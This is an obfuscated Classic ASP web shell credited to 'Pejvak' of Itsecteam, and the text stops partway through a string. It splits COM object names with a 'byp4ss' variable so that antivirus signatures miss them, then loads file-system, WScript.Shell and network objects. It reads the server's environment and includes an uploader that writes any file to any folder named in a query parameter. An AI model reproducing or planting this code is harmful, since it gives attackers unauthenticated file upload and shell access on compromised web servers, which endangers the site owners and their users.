% '---------------------------------------------------------------------- ' ----------------- Coded By Pejvak ----------------- ' ----------------- Itsecteam.com ----------------- ' ----------------- E-mail: pejv4k@yahoo.com ----------------- '---------------------------------------------------------------------- On Error Resume Next Set fileso = CreateObject("Script"&byp4ss&"ing.File"&byp4ss&"SystemObject") dim head,endd,pathn,enddd FolderPath = Request.ServerVariables("PAT"&byp4ss&"H_TRANS"&byp4ss&"LATED") Private Function ParseFolder(PathString) Dim liCount If Right(PathString, 1) = "\" Then ParseFolder = PathString Else For liCount = Len(PathString) To 1 Step -1 If Mid(PathString, liCount, 1) = "\" Then ParseFolder = Left(PathString, liCount) Exit For End If Next End If End Function Function getsize(size) If size>=(1024 * 1024 * 1024)Then getsize=Fix((size /(1024 * 1024 * 1024))* 100)/ 100&"G" If size>=(1024 * 1024)And size<(1024 * 1024 * 1024)Then getsize=Fix((size /(1024 * 1024))* 100)/ 100&"M" If size>=1024 And size<(1024 * 1024)Then getsize=Fix((size / 1024)* 100)/ 100&"K" If size>=0 And size<1024 Then getsize=size&"B" End Function Set wssh = Server.CreateObject("W"&byp4ss&"Scr"&byp4ss&"ipt.Sh"&byp4ss&"ell") Set envinfo = wssh.Environment("SY"&byp4ss&"STEM") Set wsshn = Server.CreateObject("W"&byp4ss&"Sc"&byp4ss&"ript.Ne"&byp4ss&"twork") Class FileUploader 'Class Upload File Microsoft Public Files Private mcolFormElem Private Sub Class_Initialize() Set Files = Server.CreateObject("Script"&byp4ss&"ing"&byp4ss&".Dicti"&byp4ss&"onary") Set mcolFormElem = Server.CreateObject("Scripti"&byp4ss&"ng.Dic"&byp4ss&"tionary") End Sub Private Sub Class_Terminate() If IsObject(Files) Then Files.RemoveAll() Set Files = Nothing End If If IsObject(mcolFormElem) Then mcolFormElem.RemoveAll() Set mcolFormElem = Nothing End If End Sub Public Property Get Form(sIndex) Form = "" If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex)) End Property Public Default Sub Upload() Dim biData, sInputName Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos Dim nPosFile, nPosBound biData = Request.BinaryRead(Request.TotalBytes) nPosBegin = 1 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) If (nPosEnd-nPosBegin) <= 0 Then Exit Sub vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin) nDataBoundPos = InstrB(1, biData, vDataBounds) Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--")) nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition")) nPos = InstrB(nPos, biData, CByteString("name=")) nPosBegin = nPos + 6 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename=")) nPosBound = InstrB(nPosEnd, biData, vDataBounds) If nPosFile <> 0 And nPosFile < nPosBound Then Dim oUploadFile, sFileName Set oUploadFile = New UploadedFile nPosBegin = nPosFile + 10 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\")) nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:")) nPosBegin = nPos + 14 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) nPosBegin = nPosEnd+4 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin) If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile Else nPos = InstrB(nPos, biData, CByteString(Chr(13))) nPosBegin = nPos + 4 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) End If nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds) Loop End Sub Private Function CByteString(sString) Dim nIndex For nIndex = 1 to Len(sString) CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1))) Next End Function Private Function CWideString(bsString) Dim nIndex CWideString ="" For nIndex = 1 to LenB(bsString) CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))) Next End Function End Class Class UploadedFile Public ContentType Public FileName Public FileData Public Property Get FileSize() FileSize = LenB(FileData) End Property Public Sub SaveToDisk(sPath) Dim oFS, oFile Dim nIndex If sPath = "" Or FileName = "" Then Exit Sub If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\" Set oFS = Server.CreateObject("Scrip"&byp4ss&"ting.FileSy"&byp4ss&"stemObj"&byp4ss&"ect") If Not oFS.FolderExists(sPath) Then Exit Sub Set oFile = oFS.CreateTextFile(sPath & FileName, True) For nIndex = 1 to LenB(FileData) oFile.Write Chr(AscB(MidB(FileData,nIndex,1))) Next oFile.Close End Sub End Class if request.querystring("uploadnow")<>"" then Set Uploader = New FileUploader Uploader.Upload() If Uploader.Files.Count = 0 Then Response.Write "" Else Response.Write "" For Each File In Uploader.Files.Items File.SaveToDisk Request.querystring("address") Next End If End If pathn=Request.QueryString("address") if pathn ="" Then pathn=ParseFolder(FolderPath) Else pathn=Request.QueryString("address") end if enddd="
Coded by Amin Shokohi (Pejvak)
iTsecteam